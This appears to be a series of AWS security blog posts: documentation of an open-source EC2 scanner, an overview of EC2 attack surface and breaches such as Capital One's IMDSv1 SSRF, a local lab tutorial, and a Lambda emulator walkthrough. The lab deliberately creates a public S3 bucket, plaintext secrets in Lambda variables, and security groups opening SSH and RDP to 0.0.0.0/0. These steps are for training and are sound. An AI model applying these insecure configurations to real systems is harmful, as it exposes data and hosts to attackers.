|-----|----------------------|---------------------------------------------------------|
| F.1 | SSM patch compliance | Missing or failed patches |
| F.2 | AMI age | AMIs older than 180 days |
| F.3 | Inspector v2 | EC2 scanning disabled or critical/high findings present |

Category G: Network Exposure (5 checks)

| ID | Check | What It Catches |
|-----|------------------------------|------------------------------------------------------------------|
| G.1 | Unused Elastic IPs | EIPs with no association (cost waste + potential attack surface) |
| G.2 | Launch template public IP | Templates assigning public IPs to instances |
| G.3 | Subnet auto-assign public IP | Subnets that auto-assign public IPs |
| G.4 | VPC Block Public Access | BPA not blocking internet gateway traffic |
| G.5 | Transit Gateway auto-accept | Transit Gateway auto-accepting VPC attachments |

Category H: Tagging & Inventory (3 checks)

| ID | Check | What It Catches |
|-----|------------------------|------------------------------------------------|
| H.1 | Required tags | Missing `Name`, `Environment`, or `Owner` tags |
| H.2 | Stopped instances | Instances stopped for more than 30 days |
| H.3 | Unused security groups | SGs not attached to any network interface |

Plus a region-level launch template audit : because **_describe-instances_** does not tell you which launch template an instance came from, the scanner inspects every launch template in the region directly for IMDSv2 enforcement, public IP assignment, and EBS encryption. That is the 46th check, reported once per region rather than per instance.

How Scoring Works

The scanner produces two independent scores , because not every problem belongs to a single instance.

An instance score (0 to 100) for what each instance controls: its metadata options, its security groups, its volumes, its IAM role, its UserData.
An environment score (0 to 100) for account and VPC wide posture: GuardDuty, CloudTrail, VPC Block Public Access, the default security group, flow logs, public AMIs, and so on.

Account and VPC findings are counted once per scan , not once per instance. If GuardDuty is off, that is one regional problem, not a penalty multiplied across fifty instances. This keeps the per-instance average honest and means a framework’s compliance percentage does not change with fleet size.

Instance score

Every instance starts at 100. Deductions by severity:

CRITICAL

Secrets in UserData: -25
Public EBS snapshots of the instance’s volumes: -20

Security group exposure (non-stacking, highest single penalty only):

High-risk ports open to the world (data store ports like 3306, 5432, …): -20
SSH open to the world: -15
RDP open to the world: -15
Remote admin ports open: -15
Unauthorized ports open (anything other than 80/443): -10

If an instance has both SSH and a high-risk port open, it loses 20 points, not 35. All overlapping “ports open to 0.0.0.0/0” penalties collapse to the single highest one.

HIGH

IMDSv2 not enforced: -15
Public IP assigned: -15
IAM admin/wildcard access: -15
Inspector v2 disabled or critical/high findings: -8

MEDIUM (-5 to -10): unencrypted EBS volumes, SSM patch non-compliance, no IAM instance profile, source/dest check disabled, not SSM managed, subnet auto-assign public IP, no CloudWatch alarms, stale AMI, no detailed monitoring, paravirtual instance, key pair without SSM.

LOW (-2 to -3): multiple ENIs, no backup plan, unrestricted egress, missing tags, long-stopped instance, IMDSv2 hop limit above 2.

Environment score

Account and VPC posture starts at 100 and is scored once per scan:

Public AMIs: -20
Default security group has rules: -10
EBS snapshot block public access off: -10
Transit Gateway auto-accept: -10
GuardDuty disabled: -10
VPC Block Public Access not blocking: -10
CloudTrail disabled: -10
VPN tunnels permitting IKEv1: -10
No VPC flow logs: -10
Launch templates without IMDSv2, assigning public IPs, or with unencrypted EBS: -10 / -10 / -5
EBS default encryption disabled, serial console enabled, NACL admin ports open: -5 each
Unused security groups: -2 , unused Elastic IPs: -2 , no Instance Connect endpoint: -1

Both scores are **_max(0, 100 — total\_deductions)_**.

| Score | Rating | What It Means |
|--------|-------------------|----------------------------------|
| 90-100 | Excellent | Keep doing what you're doing |
| 70-89 | Good | Minor gaps to address |
| 50-69 | Needs Improvement | Medium-priority fixes needed |
| 0-49 | Critical | Stop everything and fix this now |

Architecture

Here’s why it’s fast and why it won’t hammer your AWS API limits. The scanner uses a three-tier architecture to minimize API calls:

Tier 1: Account-level (run once): EBS default encryption, serial console, GuardDuty, CloudTrail, public AMIs, unused EIPs, Transit Gateway, VPC Block Public Access. These results are shared across all instances.

Tier 2: VPC-level (run once per VPC): Default security group, VPC flow logs, NACL rules, Instance Connect endpoints. Results are keyed by VPC ID.

Tier 3: Instance-level (parallel): Everything else. Each instance is scanned in its own thread using **_ThreadPoolExecutor_**. Thread safety is handled via **_threading.local()_**, each thread gets its own boto3 session.

Security group rules are fetched once per instance and reused across 6 checks (B.2 to B.5, B.9, B.10). No redundant API calls.

Compliance Mapping

Every check maps to controls across 10 compliance frameworks :

| Framework | Controls |
|------------------------------------------|----------|
| AWS Foundational Security Best Practices | 32 |
| NIST SP 800-53 Rev5 | 27 |
| ISO 27001:2022 | 17 |
| SOC 2 Trust Service Criteria | 13 |
| PCI DSS v4.0.1 | 12 |
| HIPAA Security Rule | 10 |
| GDPR (EU) 2016/679 | 8 |
| CIS AWS Foundations v5.0 | 7 |
| ISO 27017 (Cloud-Specific) | 7 |
| ISO 27018 (PII in Cloud) | 4 |
| Total | 137 |

The compliance report shows pass/fail for every control, per instance. Hand it to your auditor.

CLI Options

ec2-security-scanner security [OPTIONS]

| Option | Default | What It Does |
|-----------------------|-------------|---------------------------------|
| `-i, --instance-id` | all | Scan specific instance(s) |
| `--exclude-instance` | none | Skip specific instance(s) |
| `--tag-filter` | none | Filter by tag (`Key=Value`) |
| `--state-filter` | `running` | `running`, `stopped`, or `all` |
| `-r, --region` | `us-east-1` | AWS region to scan |
| `--compliance-only` | off | Generate compliance report only |
| `-p, --profile` | none | AWS CLI profile |
| `-o, --output-dir` | `./output` | Where to save reports |
| `-f, --output-format` | `all` | `json`, `csv`, `html`, or `all` |
| `-w, --max-workers` | `5` | Parallel threads |
| `-q, --quiet` | off | Suppress console output |
| `-d, --debug` | off | Debug logging |

Output

You get four files:

JSON : Full scan results. Every check, every instance, every detail. Feed it to your SIEM, pipe it to jq, store it in S3.

CSV : Spreadsheet-friendly. All key metrics and compliance status. For the people who live in Excel.

HTML : Interactive dashboard with Chart.js. Executive summary, score distribution chart, compliance overview, severity breakdown, sortable instance table, critical findings list. The one you show management.

Compliance JSON : Per-instance compliance evaluation. Pass/fail for every control across all 10 frameworks. The one you show auditors.

Scan files use the pattern **_ec2\_scan\_{region}\_{timestamp}.{format}_**. The compliance report uses **_ec2\_compliance\_{region}\_{timestamp}.json_**.

Quick Start

# Install
pip install ec2-security-scanner

# Scan all running instances in us-east-1
ec2-security-scanner security

# Scan specific instances
ec2-security-scanner security -i i-0123456789abcdef0

# Scan with a profile and region
ec2-security-scanner security -p production -r eu-west-1

# Only instances with specific tags
ec2-security-scanner security --tag-filter "Environment=production"

# Generate compliance report only
ec2-security-scanner security --compliance-only

# Scan stopped instances too
ec2-security-scanner security --state-filter all

What It Doesn’t Do

It’s read-only. **_Describe_**, **_List_**, **_Get_**. That’s it.

Can’t create. Can’t modify. Can’t delete. Can’t access your data or read your volumes. All read-only permissions, no **_\*:\*_** in sight. Full IAM policy is in the README.

What’s Next

In Part 3, we’ll go through every finding category and show you exactly how to fix each issue, with AWS CLI commands, Terraform snippets, and console steps.

Because finding the problems is step one. Fixing them is the whole point.

Support the Project

The scanner is open source and built for the community. If it caught something real in your account, here is how to pay it forward:

Star it on GitHub so more engineers can find it: https://github.com/TocConsulting/ec2-security-scanner
Open a pull request if you fix a bug or tighten a check.
Propose a new check or framework by opening an issue. Real-world gaps make the best feature requests.
Share it with your team and your network. Visibility is what keeps an open-source security tool alive.

GitHub : https://github.com/TocConsulting/ec2-security-scanner

PyPI : https://pypi.org/project/ec2-security-scanner/

If you found this useful, follow me for more AWS security content. Part 3, the remediation guide, drops next.

Your EC2 Instances Are Probably Exposed Right Now

Tarek CHEIKH — Sun, 31 May 2026 20:03:32 +0000

Part 1 of 3 in the EC2 Security Series

We’ve all been there.

You spin up an EC2 instance. Pick an AMI. Click through the wizard. Security group? “Allow SSH from anywhere”, just for testing. Public IP? Sure, need to connect somehow. IAM role? Skip for now. Encryption? Default is fine.

“I’ll lock it down later.”

You won’t.

The Numbers Don’t Lie

EC2 is the backbone of AWS. It’s the first service most teams adopt, and it’s the one most teams get wrong.

According to Datadog’s 2024 State of Cloud Security report, only about a third of EC2 instances enforce IMDSv2. That means roughly two-thirds still allow IMDSv1, the exact metadata weakness behind the Capital One breach.

And it is not just metadata. SSH (port 22) and RDP (port 3389) left open to the entire internet remain among the most common cloud exposures. Not to a bastion host. Not behind a VPN. To the whole internet, reachable by anyone with an IP scanner and a password list. RDP, full graphical access to Windows servers, is a favorite ransomware entry point.

But the real problem isn’t just open ports. It’s everything else.

The Attack Surface You Don’t See

When people think “EC2 security,” they think firewalls. Security groups. Maybe NACLs. That’s about 20% of the picture.

Here’s what actually gets you breached:

Metadata Service Exploitation (IMDSv1)

Remember the Capital One breach? 106 million customer records. The attack started with a server-side request forgery (SSRF) that hit the EC2 metadata service (IMDSv1) to steal IAM role credentials.

IMDSv1 serves credentials to any process that makes an HTTP GET to **_169.254.169.254_**. No authentication. No session tokens. Just… here are your keys.

AWS introduced IMDSv2 in November 2019, which requires a PUT request to get a session token first. That was more than six years ago, yet most EC2 instances still allow IMDSv1.

Secrets in User Data

EC2 User Data runs scripts at launch. Developers use it to bootstrap instances: install packages, configure services, set environment variables. The problem? User Data is stored in plaintext and accessible via the metadata service.

I’ve seen production instances with AWS access keys, database passwords, API tokens, and private keys hardcoded in User Data. Anyone who can reach the metadata service (or anyone with **_ec2:DescribeInstanceAttribute_** permissions) can read them.

Public AMIs

Teams share AMIs to speed up deployments. Sometimes they accidentally make them public. A public AMI might contain embedded credentials, proprietary code, database connection strings, or internal certificates. Anyone with an AWS account can launch your AMI and extract everything in it.

Overprivileged IAM Roles

“Just give it admin access, we’ll scope it down later.”

Sound familiar? An EC2 instance with **_AdministratorAccess_** or wildcard **_\*:\*_** permissions is a lateral movement goldmine. One compromised instance means the attacker owns your entire AWS account.

Unencrypted EBS Volumes

EBS volumes contain your data. Your databases, your application state, your logs. Without encryption at rest, anyone with physical access to the underlying hardware, or anyone who steals a snapshot, can read it all. AWS offers free EBS encryption. There’s no excuse.

Public EBS Snapshots

This one is brutal. You take a snapshot of an EBS volume for backup. You set the permissions wrong. Now anyone with an AWS account can restore your snapshot, mount it, and read your entire disk. Database dumps, configuration files, SSH keys. Everything.

In 2019, security researcher Ben Morris of Bishop Fox presented research at DEF CON 27 showing that publicly exposed EBS snapshots leaked passwords, SSH private keys, TLS certificates, application source code, and API keys from real organizations. He estimated as many as 1,250 exposures across AWS regions.

Real-World EC2 Breaches

Capital One (2019): 106 Million Records, $80M Fine

The most famous EC2-related breach. A former AWS employee exploited a misconfigured WAF to perform SSRF against the EC2 metadata service (IMDSv1). She obtained temporary credentials from the IAM role attached to the instance, then used those credentials to access S3 buckets containing customer data. The root cause chain: misconfigured WAF, then IMDSv1, then an overprivileged IAM role, then unprotected S3 data. Capital One paid an $80 million regulatory fine.

Imperva (2019): Database Credentials Stolen

Imperva, a cybersecurity company, disclosed a breach affecting their Cloud WAF (Incapsula) product. An AWS API key was stolen from an internal EC2 instance that had an overly permissive security group. The stolen credentials led to access to a database snapshot containing customer email addresses and hashed passwords.

Ongoing: Cryptomining Campaigns

Compromised EC2 instances are a prime target for cryptomining. Attackers scan for instances with open ports, weak credentials, or exploitable metadata services, then deploy miners that rack up thousands in compute costs before anyone notices. Sysdig’s 2024 Global Threat Report found that cloud attackers can go from initial access to impact in 10 minutes or less.

The Compliance Problem

If you’re in a regulated industry, EC2 misconfigurations aren’t just a security risk, they’re a compliance violation.

CIS, AWS Foundational Security Best Practices, PCI DSS v4.0.1, HIPAA, SOC 2, ISO 27001, ISO 27017, ISO 27018, GDPR, NIST 800–53. Across these 10 major frameworks , there are 137 controls that map directly to EC2 security configurations.

That’s 137 things auditors will check. 137 potential findings on your next report.

None of this is theoretical. I’ve seen every item on this list in production environments.

46 Things That Can Go Wrong

Instance security. Network security. Storage. Access control. Logging. Patching. Network exposure. Tagging.

That’s 8 categories. 46 distinct checks. Each one represents a real attack vector, a real compliance gap, or a real operational risk.

And most organizations fail at least a third of them.

What Now?

Running that command manually is just the beginning. There are 45 more things to check.

In Part 2, I’ll show you how to check all of them with one command: an open-source scanner that scores every instance from 0 to 100 and maps each finding to 137 compliance controls across 10 frameworks. In Part 3, we’ll fix everything it finds.

But first, go check if your security groups allow SSH from **_0.0.0.0/0_**. Right now.

aws ec2 describe-security-groups \
  --filters "Name=ip-permission.from-port,Values=22" \
             "Name=ip-permission.to-port,Values=22" \
             "Name=ip-permission.cidr,Values=0.0.0.0/0" \
  --query "SecurityGroups[*].[GroupId,GroupName]" \
  --output table

If that returns results, you have work to do.

Sources:

If you found this useful, follow me for more AWS security content. Part 2 drops next.

Build a Free AWS Security Lab on Your Laptop with LocalEmu

Tarek CHEIKH — Sun, 31 May 2026 11:00:30 +0000

Spin up a local AWS, plant deliberately insecure resources, and run real security scanners against it. No account, no token, no cost, no risk.

There is a better way. You can run a full AWS-compatible API locally, plant whatever insecure resources you want, point your security tools at it, and throw the whole thing away when you are done. This article shows how, end to end, with commands you can copy and run right now.

We will use LocalEmu as the local cloud and two open-source scanners to audit it. Everything here runs on your laptop and costs nothing.

What is LocalEmu

LocalEmu is a free, open-source AWS cloud emulator. It speaks the AWS APIs, so the same AWS CLI, boto3, Terraform, or CDK you already use work against it unchanged. You just point them at http://localhost:4566.

It is a community fork of the LocalStack community edition, which was archived and put behind a mandatory account in March 2026. LocalEmu continues that codebase under Apache 2.0, free and tokenless. No account, no sign-up, no auth token.

That last part is exactly what makes it a great security lab: there is no real account behind it. The emulator runs under the placeholder AWS account 000000000000, so nothing you do can touch, expose, or bill a real environment.

What we are going to build

A local “ vulnerable by design ” AWS environment, then audit it:

Start LocalEmu.
Point the AWS CLI at it.
Plant a public S3 bucket, a Lambda function with secrets, and a couple of exposed EC2 instances.
Scan all three with real security scanners and read the findings and compliance scores.
Fix an issue and re-scan to watch the score climb.

Total time: about ten minutes.

Step 1: Install and start LocalEmu

pip install localemu[runtime]
localemu start

You will see the banner and a Ready. line. By default it listens on localhost:4566. Docker is only needed for services that run a real engine in a sidecar (Lambda, ECS, EKS, RDS, EC2); everything else is pure Python.

Step 2: Point the AWS CLI at LocalEmu

The AWS CLI honors a handful of environment variables. Set the endpoint and some dummy credentials (any value works, since there is no real account):

export AWS_ENDPOINT_URL=http://localhost:4566
export AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
export AWS_DEFAULT_REGION=us-east-1

That is it. From now on, aws ... talks to your local cloud. Confirm it:

aws sts get-caller-identity
{
    "UserId": "AKIAIOSFODNN7EXAMPLE",
    "Account": "000000000000",
    "Arn": "arn:aws:iam::000000000000:root"
}

Step 3: Plant some insecure resources

Let us create exactly the kind of thing a security scanner should scream about.

A public, unencrypted S3 bucket:

aws s3 mb s3://acme-public-website
aws s3api put-public-access-block --bucket acme-public-website \
  --public-access-block-configuration \
  BlockPublicAcls=false,IgnorePublicAcls=false,BlockPublicPolicy=false,RestrictPublicBuckets=false
aws s3api put-bucket-policy --bucket acme-public-website --policy '{
  "Version": "2012-10-17",
  "Statement": [{
    "Sid": "PublicRead", "Effect": "Allow", "Principal": "*",
    "Action": "s3:GetObject", "Resource": "arn:aws:s3:::acme-public-website/*"
  }]
}'

A Lambda function with secrets sitting in plaintext environment variables and a public function URL:

echo 'def handler(e, c): return {"ok": True}' > handler.py
zip function.zip handler.py

aws lambda create-function --function-name payment-processor \
  --runtime python3.12 --handler handler.handler \
  --role arn:aws:iam::000000000000:role/lambda-role \
  --zip-file fileb://function.zip \
  --environment 'Variables={DB_PASSWORD=Sup3rS3cret!,STRIPE_SECRET_KEY=sk_live_51Hxxxx}'

aws lambda create-function-url-config \
  --function-name payment-processor --auth-type NONE

And two EC2 instances with public IPs, the old IMDSv1 metadata service, and a security group that opens SSH and RDP to the entire internet:

SG=$(aws ec2 create-security-group --group-name public-ssh-rdp \
  --description "open" --query GroupId --output text)
aws ec2 authorize-security-group-ingress --group-id $SG --protocol tcp --port 22 --cidr 0.0.0.0/0
aws ec2 authorize-security-group-ingress --group-id $SG --protocol tcp --port 3389 --cidr 0.0.0.0/0

AMI=$(aws ec2 describe-images --query 'Images[0].ImageId' --output text)
aws ec2 run-instances --image-id $AMI --instance-type t2.micro --count 2 \
  --security-group-ids $SG --associate-public-ip-address \
  --metadata-options "HttpTokens=optional,HttpEndpoint=enabled"

Notice we never left the laptop. No real bucket was ever public. No real secret was ever stored. No real instance was ever exposed.

Step 4: Scan it with real security scanners

Now the fun part. Install two open-source scanners and run them against your local cloud. They use boto3, so they pick up the same AWS_ENDPOINT_URL and hit LocalEmu automatically.

pip install s3-security-scanner lambda-security-scanner ec2-security-scanner

Scan the buckets:

s3-security-scanner security

You get a per-bucket score, a summary, and a multi-framework compliance breakdown, for example:

s3-security-scanner security
╔══════════════════════════════════════════════════════════╗
║ S3 Security Scanner - AWS S3 Security Analysis Tool ║
╚══════════════════════════════════════════════════════════╝
Starting S3 security analysis...

2026-05-31 12:39:08,680 - INFO - Found 1 S3 buckets in account 000000000000
Scanning 1 bucket(s)...

2026-05-31 12:39:08,818 - WARNING - Account 000000000000 missing account-level public access block
2026-05-31 12:39:08,819 - WARNING - GuardDuty S3 protection is not enabled for threat detection
2026-05-31 12:39:08,819 - WARNING - Macie S3 discovery is not enabled for sensitive data detection
⠋ Scanning 1 buckets...2026-05-31 12:39:08,819 - INFO - Scanning bucket: acme-public-website
2026-05-31 12:39:09,050 - INFO - Exported compliance report to ./output/s3_compliance_us-east-1_20260531_123909.json
2026-05-31 12:39:09,051 - INFO - Exported JSON report to ./output/s3_scan_us-east-1_20260531_123909.json
2026-05-31 12:39:09,051 - INFO - Exported CSV report to ./output/s3_scan_us-east-1_20260531_123909.csv
2026-05-31 12:39:09,070 - INFO - Exported HTML report to ./output/s3_scan_us-east-1_20260531_123909.html
   S3 Security Scan Summary - us-east-1
┏━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┓
┃ Metric ┃ Value ┃
┡━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━┩
│ Account ID │ 000000000000 │
│ Total Buckets │ 1 │
│ Average Security Score │ 20.0/100 │
│ Public Buckets │ 1 │
│ High Severity Issues │ 1 │
│ Medium Severity Issues │ 1 │
│ Public Objects Found │ 0 │
│ Sensitive Objects Found │ 0 │
└─────────────────────────┴──────────────┘
         Lowest Scoring Buckets
┏━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━┳━━━━━━━━┓
┃ Bucket ┃ Score ┃ Issues ┃
┡━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━╇━━━━━━━━┩
│ acme-public-website │ 20/100 │ 20 │
└─────────────────────┴────────┴────────┘

Now the functions:

lambda-security-scanner security

lambda-security-scanner security
╔══════════════════════════════════════════════════════════╗
║ Lambda Security Scanner ║
║ Comprehensive Lambda Security Auditing ║
╚══════════════════════════════════════════════════════════╝
  Version 1.0.0 | https://github.com/TocConsulting/lambda-security-scanner

Starting Lambda security analysis...

2026-05-31 12:42:45,525 - INFO - Found 1 Lambda functions in account 000000000000
Scanning 1 function(s)...

⠋ Scanning Lambda functions... 0/12026-05-31 12:42:45,615 - WARNING - AWS API error: An error occurred (NoSuchEntity) when calling the ListAttachedRolePolicies operation: Role lambda-role not found
⠙ Scanning Lambda functions... 0/1
         Overall Metrics
┏━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━┓
┃ Metric ┃ Value ┃
┡━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━┩
│ Total Functions │ 1 │
│ Scanned │ 1 │
│ Errors │ 0 │
│ Average Score │ 36.0 │
│ Public Functions │ 1 │
│ Functions with Secrets │ 1 │
│ Deprecated Runtimes │ 0 │
└────────────────────────┴───────┘
             Lowest Scoring Functions
┏━━━━━━━━━━━━━━━━━━━┳━━━━━━━┳━━━━━━━━┳━━━━━━━━━━━━┓
┃ Function ┃ Score ┃ Issues ┃ Runtime ┃
┡━━━━━━━━━━━━━━━━━━━╇━━━━━━━╇━━━━━━━━╇━━━━━━━━━━━━┩
│ payment-processor │ 36 │ 10 │ python3.12 │
└───────────────────┴───────┴────────┴────────────┘

The scanner flagged the public function URL, the secrets in the environment variables, and a dozen more issues, mapped against CIS, PCI-DSS, HIPAA, SOC 2, ISO, GDPR, and NIST. All on a function that exists only on your laptop.

And the instances:

ec2-security-scanner security

ec2-security-scanner security
╔══════════════════════════════════════════════════════════╗
║ EC2 Security Scanner ║
║ Comprehensive EC2 Security Auditing ║
╚══════════════════════════════════════════════════════════╝
  Version 1.0.0 | https://github.com/TocConsulting/ec2-security-scanner

Starting EC2 security analysis...

2026-05-31 12:47:40,191 - INFO - Found 2 EC2 instances (filter: running) in account 000000000000
Scanning 2 instance(s)...

2026-05-31 12:47:40,192 - INFO - Running account-level security checks...
2026-05-31 12:47:40,344 - INFO - Running VPC-level checks for 1 VPCs...
  Scanning 2 instances...
         EC2 Security Scan Summary
┏━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┓
┃ Metric ┃ Value ┃
┡━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━┩
│ Region │ us-east-1 │
│ Account │ 000000000000 │
│ Total Instances │ 2 │
│ Running │ 2 │
│ Stopped │ 0 │
│ Public IP │ 2 │
│ With Secrets in UserData │ 0 │
│ Unencrypted Volumes │ 2 │
│ Critical Issues │ 2 │
│ High Issues │ 2 │
│ Avg Instance Score │ 2.0/100 │
│ Environment Score │ 30/100 │
└──────────────────────────┴──────────────┘
                                                                     Environment Posture (account + VPC, counted once)
┏━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ Severity ┃ Finding ┃ Description ┃
┡━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┩
│ HIGH │ NO_GUARDDUTY │ GuardDuty is not enabled for EC2 protection. │
│ HIGH │ VPC_BPA_NOT_ENABLED │ VPC Block Public Access is not blocking IGW traffic. │
│ HIGH │ NO_CLOUDTRAIL │ No active CloudTrail trail found. │
│ HIGH │ DEFAULT_SG_HAS_RULES │ VPC default security group allows traffic in: ['vpc-c19b5364e20197df2'] │
│ MEDIUM │ EBS_DEFAULT_ENCRYPTION_DISABLED │ EBS default encryption is not enabled. │
│ MEDIUM │ NO_VPC_FLOW_LOGS │ VPC flow logging is not enabled in: ['vpc-c19b5364e20197df2'] │
│ MEDIUM │ NACL_ADMIN_PORTS_OPEN │ Network ACLs allow admin ports from 0.0.0.0/0 in: ['vpc-c19b5364e20197df2'] │
└────────────┴─────────────────────────────────┴──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┘

Both instances scored 2 out of 100. The scanner caught the public IPs, IMDSv1 (the older, SSRF-prone metadata service), the unencrypted EBS volumes, and the security group exposing SSH and RDP to the world, plus environment-level issues like the permissive default security group, missing VPC flow logs, and no GuardDuty.

Step 5: Fix it and re-scan

This is where a local lab really pays off: the feedback loop is seconds, not a deploy cycle. Lock the bucket down:

aws s3api put-public-access-block --bucket acme-public-website \
  --public-access-block-configuration \
  BlockPublicAcls=true,IgnorePublicAcls=true,BlockPublicPolicy=true,RestrictPublicBuckets=true
aws s3api put-bucket-encryption --bucket acme-public-website \
  --server-side-encryption-configuration \
  '{"Rules":[{"ApplyServerSideEncryptionByDefault":{"SSEAlgorithm":"AES256"}}]}'

s3-security-scanner security

Watch the score climb and the “Public Buckets” count drop to zero. You just practiced detection and remediation without ever touching a real account.

Why this is genuinely useful

This is not just a party trick. A local AWS plus a scanner is a real tool:

Learn cloud security for free. Plant a misconfiguration, see how a scanner catches it, fix it, repeat. No bill, no risk.
Develop and test security tooling. If you write scanners, policy checks, or remediation scripts, you need predictable, reproducible inputs. Seed the exact resource you want and assert on the output.
Run it in CI. Spin up LocalEmu in a pipeline, apply your Terraform, scan it, and fail the build on a critical finding, all before anything reaches AWS.
Onboard and demo safely. Teach a team what “good” looks like without handing out real credentials.
Reproduce findings. Got a weird scanner result against prod? Recreate the resource locally and debug it in isolation.

An honest caveat

LocalEmu is an emulator, not AWS. Coverage and fidelity vary by service, and it will not perfectly mirror every IAM edge case or every API quirk. You will actually see this in the EC2 scan: a few of the scanner’s checks call newer APIs the emulator has not implemented yet (snapshot block-public-access, serial console, patch state), and the scanner reports those as errors rather than crashing. That is the right behavior, and it is also a useful reminder that local results are a strong approximation, not ground truth. Treat LocalEmu as what it is: an excellent environment for learning, building tooling, and CI, and a complement to, not a replacement for, scanning your real accounts. Use it to get your tooling and your instincts sharp, then point those same tools at production with confidence.

Wrap-up

In about ten minutes, with no AWS account and no spend, we stood up a local cloud, planted realistic misconfigurations, caught them with real security scanners across ten compliance frameworks, and remediated one in a seconds-long loop. That is a security lab you can keep on your laptop and rebuild from scratch any time.

Spin one up and try breaking it. It is the safest place to do so.

Run real AWS Lambda on your laptop

Tarek CHEIKH — Thu, 28 May 2026 23:22:54 +0000

Deploy and run Python and Node.js functions locally, with no AWS account

When people hear “AWS emulator,” the fair question is always the same: is it actually running my code, or is it just returning a canned response that looks right?

For Lambda in LocalEmu, the answer is that it runs your code, for real, inside the same runtime images AWS uses. In this article I will deploy two functions, in Python and in Node.js, invoke them, and then prove that genuine runtime containers are doing the work. Everything below is actual output from a clean run. No AWS account, no credentials, no cost.

Setup

LocalEmu is a free, open-source AWS cloud emulator. Install it and start it:

pip install "localemu[runtime]"
localemu start

One prerequisite for this walkthrough: Docker must be installed and running, because LocalEmu executes Lambda functions inside real containers. With Docker in place, point the standard AWS CLI at the local endpoint. The clean way is one environment variable that both the AWS CLI and boto3 understand:

export AWS_ENDPOINT_URL=http://localhost:4566
export AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
export AWS_DEFAULT_REGION=us-east-1

The nice part: unset **_AWS\_ENDPOINT\_URL_** and the exact same commands talk to real AWS. Your code does not change.

We need a role ARN for the function. IAM is local too, so this costs nothing:

ROLE_ARN=$(aws iam create-role --role-name lambda-demo \
  --assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"lambda.amazonaws.com"},"Action":"sts:AssumeRole"}]}' \
  --query Role.Arn --output text)

A Python function

Here is a function that doubles a number and reports the Python version it is running on. That second part matters: it lets the function tell us, from the inside, exactly which interpreter is executing it.

# handler.py
import sys

def handler(event, context):
    return {
        "doubled": int(event.get("x", 0)) * 2,
        "runtime": "python " + sys.version.split()[0],
    }

Package and deploy it:

zip fn.zip handler.py

aws lambda create-function --function-name doubler-py \
  --runtime python3.14 --handler handler.handler \
  --role "$ROLE_ARN" --zip-file fileb://fn.zip --timeout 30

aws lambda wait function-active-v2 --function-name doubler-py

Now invoke it. Put the payload in a file and pass it with **_fileb://_**, which sends the bytes as-is. This works the same on AWS CLI v1 and v2; passing — payload ‘{“x”:21}’ as a string is handled differently between the two versions, so the file form avoids that.

cat out.json

Output:

{"doubled": 42, "runtime": "python 3.14.5"}

The function did the arithmetic, and it reported **_python 3.14.5_**. That version string did not come from a mock. It came from a real CPython interpreter running inside the official AWS Lambda Python image.

Proof: a real runtime container

While the function is warm, look at what is running on your Docker host:

docker ps --filter "ancestor=public.ecr.aws/lambda/python:3.14"

Output:

edb5c4d0e600 public.ecr.aws/lambda/python:3.14 "/var/rapid/init" 4 minutes ago Up 4 minutes 0.0.0.0:53814->9563/tcp, [::]:53814->9563/tcp localemu-main-lambda-doubler-py-cdea066067fbec0c1726bc63cbf986e5

That is the official AWS Lambda Python runtime image, pulled from Amazon’s public registry, executing your handler. LocalEmu packaged your zip, started the container, ran your code, and returned the result, the same shape of work AWS does for you in the cloud. Because it is the real runtime, your packaging, your dependencies, your handler signature, and your timeouts all behave the way they will when you deploy.

Same idea, a different language

To show this is not Python-specific, here is the same logic in Node.js:

// index.mjs
export const handler = async (event) => ({
  doubled: (event.x ?? 0) * 2,
  runtime: "nodejs " + process.version,
});

Deploy and invoke it:

zip fn.zip index.mjs

aws lambda create-function --function-name doubler-node \
  --runtime nodejs24.x --handler index.handler \
  --role "$ROLE_ARN" --zip-file fileb://fn.zip --timeout 30

aws lambda wait function-active-v2 --function-name doubler-node

aws lambda invoke --function-name doubler-node \
  --payload fileb://payload.json out.json

cat out.json

Output:

{"doubled":42,"runtime":"nodejs v24.14.1"}

Node.js 24 itself, reporting v24.14.1 from inside the container. Same workflow, different language, no extra setup.

Why this matters

A mock that returns a plausible JSON body can pass a happy-path test and still hide every interesting bug. Running the real runtime changes that. You find out locally whether your dependencies actually import, whether your handler signature is right, whether your function fits in memory, and how it behaves on a cold start, all before you spend a cent or wait on a deploy. The feedback loop shrinks from minutes to seconds, and you can run it on a plane with no internet.

Where it fits

This is for local development, testing, and learning, not for production. What you get is the loop: write, run real code, see the result, adjust, repeat, at zero cost and with no account. For Lambda, running your code in the official runtime image is exactly the part you most want to be true locally, and it is.

Try it

pip install "localemu[runtime]"
localemu start

Or run the multi-architecture Docker image (Intel and Apple Silicon):

docker run --rm -p 4566:4566 -v /var/run/docker.sock:/var/run/docker.sock localemu/localemu

Documentation and runnable examples are at https://localemu.cloud. The source is at https://github.com/localemu/localemu, and it is free and open under Apache 2.0.

